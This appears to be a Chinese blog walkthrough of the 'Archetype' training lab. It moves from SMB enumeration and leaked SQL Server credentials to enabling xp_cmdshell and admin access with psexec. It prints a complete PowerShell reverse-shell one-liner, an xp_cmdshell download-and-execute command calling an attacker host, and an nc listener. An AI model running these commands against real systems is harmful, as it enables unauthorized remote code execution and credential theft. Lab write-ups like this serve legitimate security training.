b1

一次靶机尝试Arc

结合资料和自己的理解及想法做了两遍...

信息收集

给了地址

先nmap扫一下

nmap -sC -sV 10.10.10.27
-sC:使用默认脚本进行扫描,等同于–=default
-sV:探测开启的端口来获取服务、版本信息

发现445文件共享协议(SMB)默认使用的端口

还有1433 sqlserver数据库默认端口

image-20210804154000281

通过nmap还知道了对方的win主机版本

image-20210804154300300

首先就是连接贡献文件的SMB

使用subclient

smbclient -N -L //10.10.10.27//
-N 隐匿登录
-L获取共享列表

image-20210804154448945

发现backup备份文件,1433的信息可能在这

smbclient -N //10.10.10.27/backups/

发现文件prod.dtsconfig

下载到本机来

get prod.dtsConfig

然后查看文件,发现文件账户和密码

image-20210804155054694

用impacket-master的mssqlclient脚本

python3  /home/kali/Desktop/impacket-master/examples/mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth 

使用的是python3,因为默认的是python2,会出现报错
然后window-auth的意思是win下的身份验证
在linux下无\只有/所以都要使用/

连接成功

aaaa

使用help语句查看帮助

image-20210804155944578

查看权限,

ELECT IS_SRVROLEMEMBER('sysadmin')

返回1表示可以,意味着可以尝试使用SQL Server的xp_cmdshell存储过程来在数据库中进行远程代码执行(RCE)

然后执行一下参数

sp_configure ‘show advanced options’ , 1,sp_configure
//修改数据库配置的存储过程,设置show advanced options参数为1,才允许修改数据库配置中的某些高级选项
//例如xp_cmdshell
reconfigure
//对上一步的sp_confifure存储过程进行提交
sp_configure ‘xp_cmdshell’, 1
//使用sp_configure存储过程启用xp_cmdshell参数,此参数启用后允许SQL Server调用操作系统命令。
reconfigure
//使用 sp_configure存储过程更改的配置选项。

执系统命令

xp_cmdshell('whoami')

image-20210804161151663

bbbb

然后就是植入shell

尝试了用msf的handler模块,win的payload,但始终无法在目标机命令打开

所以就还是老老实实的用powershell,默认后缀ps1

$client= New-ObjectSystem.Net.Sockets.TCPClient( "10.10.10.128", 443); $stream= $client.GetStream;[byte[]] $bytes= 0.. 65535|%{ 0}; while(( $i= $stream.Read( $bytes, 0, $bytes.Length)) -ne0){; $data= ( New-Object-TypeName System.Text.ASCIIEncoding).GetString( $bytes, 0, $i); $sendback= (iex $data2>& 1| Out-String); $sendback2= $sendback+ "# "; $sendbyte= ([text.encoding]::ASCII).GetBytes( $sendback2); $stream.Write( $sendbyte, 0, $sendbyte.Length); $stream.Flush}; $client.Close

开启80默认端口

python3 -m http.server 443

nc监听等待反弹

nc -nvvlp 443

不知道什么原因,怎么弄都下载不了

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.10.128/she11.ps1\");"

搞了好长时间,就放弃了...

按照接下来的思路就是

目标机器下载了ps1文件并执行

然后nc反弹到win的dos命令

然后看powershell的历史记录

看有无重要信息

可以使用where

PowerShell\PSReadline\ConsoleHost_history.txt

查看发现密码账户

提权

还是使用impacket的文件夹,使用psexec.py 类似talent

psexec.py administrator@10.10.10.27

然后输入密码

发现在桌面的flag

posted @ 2021-08-04 16:43  testadm1n  阅读(102)  评论(0编辑  收藏  举报